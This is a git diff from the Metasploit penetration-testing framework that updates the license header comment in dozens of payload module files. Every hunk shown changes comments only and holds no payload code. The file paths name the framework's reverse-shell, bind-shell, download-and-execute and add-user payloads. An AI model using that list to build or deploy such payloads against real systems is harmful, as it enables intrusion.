https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb b/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb index 116a064232..552fc9061d 100644 --- a/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb index 1f4b9c4ea0..1d168e91a7 100644 --- a/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/bsd/x86/exec.rb b/modules/payloads/singles/bsd/x86/exec.rb index b60aac7118..396f9ddc25 100644 --- a/modules/payloads/singles/bsd/x86/exec.rb +++ b/modules/payloads/singles/bsd/x86/exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb b/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb index ddee2fa604..8bbb5014d8 100644 --- a/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb b/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb index a8db00aebe..ba40278c48 100644 --- a/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb index b28858cd19..7f237e505d 100644 --- a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb index f7b111f871..b7a639dc28 100644 --- a/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb +++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/bsd/x86/shell_find_port.rb b/modules/payloads/singles/bsd/x86/shell_find_port.rb index 0abb18ac1c..9038c2f443 100644 --- a/modules/payloads/singles/bsd/x86/shell_find_port.rb +++ b/modules/payloads/singles/bsd/x86/shell_find_port.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/bsd/x86/shell_find_tag.rb b/modules/payloads/singles/bsd/x86/shell_find_tag.rb index 68608223f4..44db763236 100644 --- a/modules/payloads/singles/bsd/x86/shell_find_tag.rb +++ b/modules/payloads/singles/bsd/x86/shell_find_tag.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb index 23026a1857..8e45fbb2db 100644 --- a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb index 45df020aca..360bc1d40f 100644 --- a/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb +++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb b/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb index 478b1620e6..12aeffb92e 100644 --- a/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/bsdi/x86/shell_find_port.rb b/modules/payloads/singles/bsdi/x86/shell_find_port.rb index fd1b7e40d7..59468b4500 100644 --- a/modules/payloads/singles/bsdi/x86/shell_find_port.rb +++ b/modules/payloads/singles/bsdi/x86/shell_find_port.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb b/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb index 34c25c1df6..0a025232ff 100644 --- a/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/bind_awk.rb b/modules/payloads/singles/cmd/unix/bind_awk.rb index cfc8bcbade..9209c935df 100644 --- a/modules/payloads/singles/cmd/unix/bind_awk.rb +++ b/modules/payloads/singles/cmd/unix/bind_awk.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/bind_inetd.rb b/modules/payloads/singles/cmd/unix/bind_inetd.rb index 62b5633226..ed3c93fb8e 100644 --- a/modules/payloads/singles/cmd/unix/bind_inetd.rb +++ b/modules/payloads/singles/cmd/unix/bind_inetd.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb index 8e411fe4d2..9f4d433a40 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb index a0b64c7fcf..525dac6f87 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb index bce4ddd10d..13f13ef940 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/bind_nodejs.rb b/modules/payloads/singles/cmd/unix/bind_nodejs.rb index 542ca6365d..057344a7ec 100644 --- a/modules/payloads/singles/cmd/unix/bind_nodejs.rb +++ b/modules/payloads/singles/cmd/unix/bind_nodejs.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/bind_perl.rb b/modules/payloads/singles/cmd/unix/bind_perl.rb index 60f4f86ba6..3b74f54b5f 100644 --- a/modules/payloads/singles/cmd/unix/bind_perl.rb +++ b/modules/payloads/singles/cmd/unix/bind_perl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb index bc373f5d33..290ef86af4 100644 --- a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/bind_ruby.rb b/modules/payloads/singles/cmd/unix/bind_ruby.rb index 2fe0ce91bb..fcfae1f30a 100644 --- a/modules/payloads/singles/cmd/unix/bind_ruby.rb +++ b/modules/payloads/singles/cmd/unix/bind_ruby.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb index c79211b429..6672096a4c 100644 --- a/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/bind_zsh.rb b/modules/payloads/singles/cmd/unix/bind_zsh.rb index cddf836fdf..2d7218aa59 100644 --- a/modules/payloads/singles/cmd/unix/bind_zsh.rb +++ b/modules/payloads/singles/cmd/unix/bind_zsh.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/generic.rb b/modules/payloads/singles/cmd/unix/generic.rb index ad08ad06ce..5c9adee336 100644 --- a/modules/payloads/singles/cmd/unix/generic.rb +++ b/modules/payloads/singles/cmd/unix/generic.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/interact.rb b/modules/payloads/singles/cmd/unix/interact.rb index d552aee4dc..1a318c8df1 100644 --- a/modules/payloads/singles/cmd/unix/interact.rb +++ b/modules/payloads/singles/cmd/unix/interact.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse.rb b/modules/payloads/singles/cmd/unix/reverse.rb index ca1e8a7cce..c0f2dcd353 100644 --- a/modules/payloads/singles/cmd/unix/reverse.rb +++ b/modules/payloads/singles/cmd/unix/reverse.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_awk.rb b/modules/payloads/singles/cmd/unix/reverse_awk.rb index 00d7fd5b2e..c2ebe83e83 100644 --- a/modules/payloads/singles/cmd/unix/reverse_awk.rb +++ b/modules/payloads/singles/cmd/unix/reverse_awk.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_bash.rb b/modules/payloads/singles/cmd/unix/reverse_bash.rb index 66126df6bc..3fda72a0f1 100644 --- a/modules/payloads/singles/cmd/unix/reverse_bash.rb +++ b/modules/payloads/singles/cmd/unix/reverse_bash.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb index ae87af008b..9a9b836a53 100644 --- a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat.rb b/modules/payloads/singles/cmd/unix/reverse_netcat.rb index 7abbcabea3..4c96ee941d 100644 --- a/modules/payloads/singles/cmd/unix/reverse_netcat.rb +++ b/modules/payloads/singles/cmd/unix/reverse_netcat.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb index 0de34e3612..22c8c91655 100644 --- a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb +++ b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb index e3295e7e11..186dbadb0b 100644 --- a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb +++ b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl.rb b/modules/payloads/singles/cmd/unix/reverse_openssl.rb index 32e8476355..125e514dcf 100644 --- a/modules/payloads/singles/cmd/unix/reverse_openssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_openssl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_perl.rb b/modules/payloads/singles/cmd/unix/reverse_perl.rb index a71cd98ea6..9a5da78515 100644 --- a/modules/payloads/singles/cmd/unix/reverse_perl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_perl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb index 39bcfbc314..a48f30b7ad 100644 --- a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb index 09eb108f0a..18009b613c 100644 --- a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_python.rb b/modules/payloads/singles/cmd/unix/reverse_python.rb index 7a5cfcf728..f06a561f9e 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb index f297f44f12..8a37299e3e 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby.rb b/modules/payloads/singles/cmd/unix/reverse_ruby.rb index d06458967c..3d68afc2ed 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ruby.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ruby.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb index 90c1a5358f..268d95fc48 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb index 1d4f3f2974..ea121520aa 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_zsh.rb b/modules/payloads/singles/cmd/unix/reverse_zsh.rb index 7f1bbf74ae..6b26111614 100644 --- a/modules/payloads/singles/cmd/unix/reverse_zsh.rb +++ b/modules/payloads/singles/cmd/unix/reverse_zsh.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/windows/adduser.rb b/modules/payloads/singles/cmd/windows/adduser.rb index faaf46b2c0..d4149d2f32 100644 --- a/modules/payloads/singles/cmd/windows/adduser.rb +++ b/modules/payloads/singles/cmd/windows/adduser.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/windows/bind_perl.rb b/modules/payloads/singles/cmd/windows/bind_perl.rb index 3114f48456..7794ef1eb0 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb index 246f1692a2..0b63fc91de 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/windows/bind_ruby.rb b/modules/payloads/singles/cmd/windows/bind_ruby.rb index f13d1868bc..e9624afc17 100644 --- a/modules/payloads/singles/cmd/windows/bind_ruby.rb +++ b/modules/payloads/singles/cmd/windows/bind_ruby.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb index 2fb2470655..098bcb8865 100644 --- a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb +++ b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb index 2658da66c7..6e8e2348f5 100644 --- a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb +++ b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/windows/reverse_perl.rb b/modules/payloads/singles/cmd/windows/reverse_perl.rb index 